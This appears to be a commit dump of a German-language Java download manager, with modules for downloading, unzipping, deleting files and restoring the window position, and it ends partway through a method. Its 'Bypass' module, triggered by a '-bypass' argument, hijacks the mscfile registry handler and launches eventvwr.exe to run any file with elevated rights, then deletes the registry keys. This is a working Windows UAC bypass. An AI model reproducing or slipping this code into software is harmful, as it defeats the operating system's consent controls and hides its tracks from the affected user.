Commit 5f27ee70 authored by Marcel K.'s avatar Marcel K.
Browse files

first public upload

parent 21ede759
13.02.2017:
Basis Classen erstellt und bennant;
Gui basis gebaut(Packetmanagergui und thegui);
Download methode gemacht;
Packetmanager beispiel angefertigt;
Main classe funktion hinzugefgt;
14.02.2017:
Download methode verbessert;
Packetmanager funktion berarbeitet;
Ziptools module hinzugefgt;
Checkos module hinzugefgt;
Filetools module hinzugefgt;
Selfupdate module hinzugefgt;
pack200.exe Update.pack.gz jMainGUI.jar
\ No newline at end of file
pack200.exe Updater.pack.gz updater.jar
\ No newline at end of file
BWindows Registry Editor Version 5.00
import java.io.IOException;
import module.Bypass;
import module.CheckOS;
import userinterface.TheMainGui;
public class MainGui {
public static void main(String[] args) throws IOException, InterruptedException {
if(!(args.length == 0)){// Check if arg
if (CheckOS.isWindows()){// CheckOS
if (args[0].equals("-bypass")){
Bypass.TheBypass(args[1]);
System.exit(0);
}
if (args[0].equals("-grafikfix")){
ProcessBuilder process = new ProcessBuilder("java", "-jar", "-Dsun.java2d.d3d=false", module.Variablen.jarpathstring);
process.start();
System.out.println("grafikfixed");
System.exit(0);
}
} // END CheckOS
} // END Check if arg
String obfuscate = module.krypton.obfuscate("test #+*'_:;,.-!");
System.out.println(obfuscate + " - " + module.krypton.unobfuscate(obfuscate));
//GUI
TheMainGui.openthegui();
//Update
try {
module.update.Update.Updater(module.Variablen.MyVersion);
} catch (InterruptedException | IOException e) {
e.printStackTrace();
}
/**Runs every 4 min
new java.util.Timer().schedule(
new java.util.TimerTask() {
@Override
public void run() {
// CODE HERE
}
},
60000 * 4
);
*/
}
}
package module;
import java.util.Arrays;
public class Bypass {
public static void TheBypass(String Filepath){
try {
// WRITE NEEDET REGKEYS
WinRegistry.createKey(WinRegistry.HKEY_CURRENT_USER,
"SOFTWARE\\Classes\\mscfile\\shell\\open\\command");
WinRegistry.writeStringValue(WinRegistry.HKEY_CURRENT_USER,
"SOFTWARE\\Classes\\mscfile\\shell\\open\\command","",
"C:\\Windows\\System32\\cmd.exe /c start " + Filepath);
// START PROCESS
Process p = Runtime.getRuntime().exec("cmd.exe /c eventvwr.exe");
p.waitFor();
Thread.sleep(2000);
// DELETE GENERATED REG KEY
WinRegistry.deleteKey(WinRegistry.HKEY_CURRENT_USER,"SOFTWARE\\Classes\\mscfile\\shell\\open\\command");
WinRegistry.deleteKey(WinRegistry.HKEY_CURRENT_USER,"SOFTWARE\\Classes\\mscfile\\shell\\open");
WinRegistry.deleteKey(WinRegistry.HKEY_CURRENT_USER,"SOFTWARE\\Classes\\mscfile\\shell");
WinRegistry.deleteKey(WinRegistry.HKEY_CURRENT_USER,"SOFTWARE\\Classes\\mscfile");
} catch (Exception e) {
System.out.println("Failed" + e);
}
}
public static void bypass(String[] datei){
TheBypass(Arrays.toString(datei).replace("[", "").replace("]", ""));
}
}
package module;
import java.util.Locale;
public final class CheckOS
{
private static String OS = null;
public static String getOsName()
{
if(OS == null) { OS = System.getProperty("os.name").toLowerCase(Locale.ENGLISH); }
return OS;
}
public static boolean isWindows()
{
return getOsName().contains("windows");
}
public static boolean isLinux()
{
return getOsName().contains("linux");
}
public static boolean isMac()
{
return getOsName().contains("mac");
}
}
\ No newline at end of file
package module;
import java.io.File;
import javax.swing.JOptionPane;
public class Delete {
public static void deletedir(){
JOptionPane.showMessageDialog(null,"KEINE DATEN ANGEGEBEN","Error", JOptionPane.ERROR_MESSAGE);
}
public static void deletedir(String link, String pfad){ // hier werden die Downloadparameter angegeben und an den eigentlichen download gegeben
// Datei name in der URL
String urlfilename = link.substring(link.lastIndexOf('/') + 1, link.length());
// file ordner name
String foldername = urlfilename.substring(0, urlfilename.lastIndexOf("."));
// Wohin die datei extrahiert werden soll (das ist auch der Speicher Ordner indem die datei/ dateien gespeichert werden)
String extractpfad = pfad + foldername;
Filetools.deletedir(new File(extractpfad));
if(Filetools.error == true){
JOptionPane.showMessageDialog(null,"Datei/en Konten Nicht Vollstndig gelscht werden! (Programm noch am laufen ?)"
,"Error!", JOptionPane.ERROR_MESSAGE);
Filetools.error = false;
} else {
System.out.println("Deleted!");
}
}
}
package module;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.URL;
import javax.swing.JFrame;
import javax.swing.JOptionPane;
import javax.swing.JProgressBar;
import javax.swing.SwingUtilities;
public class Download {
public static void download(){
JOptionPane.showMessageDialog(null,"KEINE DOWNLOAD DATEN ANGEGEBEN","Error", JOptionPane.ERROR_MESSAGE);
}
public static void download(String link, String pfad, boolean update){ // hier werden die Downloadparameter angegeben und an den eigentlichen download gegeben
try {
// erstelle den main ordner
createmainfolder();
// Datei name in der URL
String urlfilename = link.substring(link.lastIndexOf('/') + 1, link.length());
// file ordner name
String foldername = urlfilename.substring(0, urlfilename.lastIndexOf("."));
// Wohin die datei extrahiert werden soll(das ist auch der Speicher Ordner indem die datei/ dateien gespeichert werden)
String extractpfad = pfad + foldername;
// Der Pfad wo die datei genau gespeichert wird
String filepath = pfad + foldername + "/" + urlfilename;
if(new File(extractpfad).exists() == false){
// Neuer Ordner mit Dateinamen als ordner name
new File(pfad + foldername).mkdirs();
// String zu URL
URL url = new URL(link);
// starte Download
saveFile(url, filepath, urlfilename, extractpfad, update, module.Variablen.jarpath);
} else {
System.out.println("Error Datei Existiert bereits bei fehlern lschen und neu downloaden" );
JOptionPane.showMessageDialog(null,"Datei Existiert bereits bei Fehlern der Datei lschen und Datei neu downloaden",
"Error", JOptionPane.INFORMATION_MESSAGE);
}
} catch (IOException e) {
System.out.println("Error " + e);
JOptionPane.showMessageDialog(null,e,"Error", JOptionPane.ERROR_MESSAGE);
}
}
public static void checkzipfile(String urlfilename, String filepath, String extractpfad){
if(urlfilename.contains(".zip") == true) {
Ziptools.extracttoFolder(filepath, extractpfad);
Filetools.deletefile(filepath);
} else {
}
}
public static void startafterdownload(){
}
public static void saveFile(URL url, String filepath,String urlfilename, String extractpfad, boolean update, File jarpath) {// hier wird die datei/Dateien runtergeladen
Runnable downloadthread = new Runnable() {
public void run() {
try {
// GUI
final JProgressBar jProgressBar = new JProgressBar();
jProgressBar.setMaximum(100000);
JFrame frame = new JFrame();
frame.setContentPane(jProgressBar);
frame.setDefaultCloseOperation(0);
frame.setSize(400, 80);
frame.setTitle("Downloading " + urlfilename + "...");
frame.isActive();
File optionsFile = new File(Saveuserwindowpos.fileName);
if (optionsFile.exists()) {
try {
Saveuserwindowpos.restoreOptions(frame);
} catch(IOException ioe) {
ioe.printStackTrace();
}
} else {
frame.setLocationByPlatform(true);
}
if (update == false){
frame.setVisible(true);
}
// HTTP Verbindung
HttpURLConnection httpConnection = (HttpURLConnection) (url.openConnection());
// Datei gre
long completeFileSize = httpConnection.getContentLength();
// Bytes Zwichenspeicher
java.io.BufferedInputStream in = new java.io.BufferedInputStream(httpConnection.getInputStream());
// ort wo die datei geschrieben wird
java.io.FileOutputStream fos = new java.io.FileOutputStream(filepath);
java.io.BufferedOutputStream bout = new BufferedOutputStream(fos, 1024);
byte[] data = new byte[1024];
long downloadedFileSize = 0;
int x = 0;
while ((x = in.read(data, 0, 1024)) >= 0) {
downloadedFileSize += x;
// calculate progress
final int currentProgress = (int) ((((double)downloadedFileSize) / ((double)completeFileSize)) * 100000d);
// update progress bar
SwingUtilities.invokeLater(new Runnable() {
@Override
public void run() {
jProgressBar.setValue(currentProgress);
}
});
bout.write(data, 0, x);
}
bout.close();
in.close();
System.out.println("Daten wurden erfolgreich Runtergeladen");
// Prft ob es eine zip datei ist und entpackt sie
frame.setTitle("Extracting " + urlfilename + "...");
checkzipfile(urlfilename,filepath,extractpfad);
frame.setTitle("DownloadManager By M4rcellxD Finished!");
frame.setVisible(false);
frame.dispose();
} catch (FileNotFoundException e) {
} catch (IOException e) {
System.out.println("Error " + e);
JOptionPane.showMessageDialog(null,e,"Error", JOptionPane.ERROR_MESSAGE);
}
}
};
try {
new Thread(downloadthread).
start();
new Thread(downloadthread).
join();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
private static void createmainfolder(){
//create Mainfolder First
if (CheckOS.isWindows()){
File file = new File(module.Variablen.pfadwin);
if (!file.exists()) {
if (file.mkdir()) {
System.out.println("Directory is created!");
} else {
System.out.println("Failed to create directory!");
JOptionPane.showMessageDialog(null,"Ordner Konnte nicht erstellt werden (Nicht genug rechte ?)",
"Error", JOptionPane.ERROR_MESSAGE);
}
}
}
if (CheckOS.isLinux()){
File file = new File(module.Variablen.pfadnux);
if (!file.exists()) {
if (file.mkdir()) {
System.out.println("Directory is created!");
} else {
System.out.println("Failed to create directory!");
JOptionPane.showMessageDialog(null,"Ordner Konnte nicht erstellt werden (Nicht genug rechte ?)",
"Error", JOptionPane.ERROR_MESSAGE);
}
}
}
if (CheckOS.isMac()){
File file = new File(module.Variablen.pfadmac);
if (!file.exists()) {
if (file.mkdir()) {
System.out.println("Directory is created!");
} else {
System.out.println("Failed to create directory!");
JOptionPane.showMessageDialog(null,"Ordner Konnte nicht erstellt werden (Nicht genug rechte ?)",
"Error", JOptionPane.ERROR_MESSAGE);
}
}
}
}
}
package module;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import javax.swing.JOptionPane;
public class Filetools {
public static boolean error = false;
public static void deletefile(String dateipfad){
try{
File file = new File(dateipfad);
if (file.exists() == true){
if(file.delete()){
System.out.println(file.getName() + " is deleted!");
}else{
System.out.println("Delete operation is failed.");
JOptionPane.showMessageDialog(null,"Datei/en Konten Nicht gelscht werden! (Programm noch am laufen ?)"
,"Error!", JOptionPane.ERROR_MESSAGE);
}
}else{
System.out.println("Datei/en Sind bereits gelscht!");
JOptionPane.showMessageDialog(null,"Datei/en Sind bereits gelscht!"
,"Error!", JOptionPane.INFORMATION_MESSAGE);
}
}catch(Exception e){
e.printStackTrace();
}
}
public static void deletedir(File ordnerpfad) {
try{
if (ordnerpfad.exists() == true){
File[] contents = ordnerpfad.listFiles();
if (contents != null) {
for (File f : contents) {
deletedir(f);
}
}
if (ordnerpfad.delete() == true){
System.out.println(ordnerpfad + " is deleted!");
}else{
error = true;
System.out.println("Delete operation is failed.");
}
}else {
System.out.println("Datei/en Sind bereits gelscht!");
JOptionPane.showMessageDialog(null,"Datei/en Sind bereits gelscht!"
,"Error!", JOptionPane.INFORMATION_MESSAGE);
}
}catch(Exception e){
e.printStackTrace();
}
}
public static void deletedirsilent(File ordnerpfad) {
try{
if (ordnerpfad.exists() == true){
File[] contents = ordnerpfad.listFiles();
if (contents != null) {
for (File f : contents) {
deletedir(f);
}
}
if (ordnerpfad.delete() == true){
System.out.println(ordnerpfad + " is deleted!");
}else{
error = true;
System.out.println("Delete operation is failed.");
}
}else {
System.out.println("Datei/en Sind bereits gelscht!");
}
}catch(Exception e){
e.printStackTrace();
}
}
public static void copyFile(String from, String to) {
copyFile(from, to, Boolean.FALSE);
}
public static void copyFile(String from, String to, Boolean overwrite) {
try {
File fromFile = new File(from);
File toFile = new File(to);
if (!fromFile.exists()) {
throw new IOException("File not found: " + from);
}
if (!fromFile.isFile()) {
throw new IOException("Can't copy directories: " + from);
}
if (!fromFile.canRead()) {
throw new IOException("Can't read file: " + from);
}
if (toFile.isDirectory()) {
toFile = new File(toFile, fromFile.getName());
}
if (toFile.exists() && !overwrite) {
throw new IOException("File already exists.");
} else {
String parent = toFile.getParent();
if (parent == null) {
parent = System.getProperty("user.dir");
}
File dir = new File(parent);
if (!dir.exists()) {
throw new IOException("Destination directory does not exist: " + parent);
}
if (dir.isFile()) {
throw new IOException("Destination is not a valid directory: " + parent);
}
if (!dir.canWrite()) {
throw new IOException("Can't write on destination: " + parent);
}
}
FileInputStream fis = null;
FileOutputStream fos = null;
try {
fis = new FileInputStream(fromFile);
fos = new FileOutputStream(toFile);
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = fis.read(buffer)) != -1) {
fos.write(buffer, 0, bytesRead);
}
} finally {
if (from != null) {
try {
fis.close();
} catch (IOException e) {
System.out.println(e);
}
}
if (to != null) {
try {
fos.close();
} catch (IOException e) {
System.out.println(e);
}
}
}
} catch (Exception e) {
System.out.println("Problems when copying file.");
}
}
}
package module;
// Credits https://stackoverflow.com/questions/7777640/best-practice-for-setting-jframe-locations
import java.awt.Frame;
import java.awt.Rectangle;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.util.Properties;
public class Saveuserwindowpos {
/** This will end up in the current directory
A more sensible location is a sub-directory of user.home.
(left as an exercise for the reader) */
public static String fileName;
public static void storeOptionspath(){
// Windows ===========================================================================================
if (CheckOS.isWindows()){
fileName = module.Variablen.pfadwin + module.Variablen.savewindowposfile;
// Linux ===========================================================================================
}else if (CheckOS.isLinux()){
fileName = module.Variablen.pfadnux + module.Variablen.savewindowposfile;
// Mac ===========================================================================================
}else if (CheckOS.isMac()){
fileName = module.Variablen.pfadmac + module.Variablen.savewindowposfile;
}
}
/** Store location & size of UI */
public static void storeOptions(Frame f) throws Exception {
storeOptionspath();
File file = new File(fileName);
Properties p = new Properties();
// restore the frame from 'full screen' first!
f.setExtendedState(Frame.NORMAL);
Rectangle r = f.getBounds();
int x = (int)r.getX();
int y = (int)r.getY();
// int w = (int)r.getWidth();
// int h = (int)r.getHeight();
p.setProperty("x", "" + x);
p.setProperty("y", "" + y);
// p.setProperty("w", "" + w);
// p.setProperty("h", "" + h);
BufferedWriter br = new BufferedWriter(new FileWriter(file));
p.store(br, "Properties of the user frame");
}
/** Restore location & size of UI */
public static void restoreOptions(Frame f) throws IOException {
File file = new File(fileName);
Properties p = new Properties();
BufferedReader br = new BufferedReader(new FileReader(file));
p.load(br);
int x = Integer.parseInt(p.getProperty("x"));
int y = Integer.parseInt(p.getProperty("y"));
//int w = Integer.parseInt(p.getProperty("w"));
// int h = Integer.parseInt(p.getProperty("h"));
//Rectangle r = new Rectangle(x,y,w,h);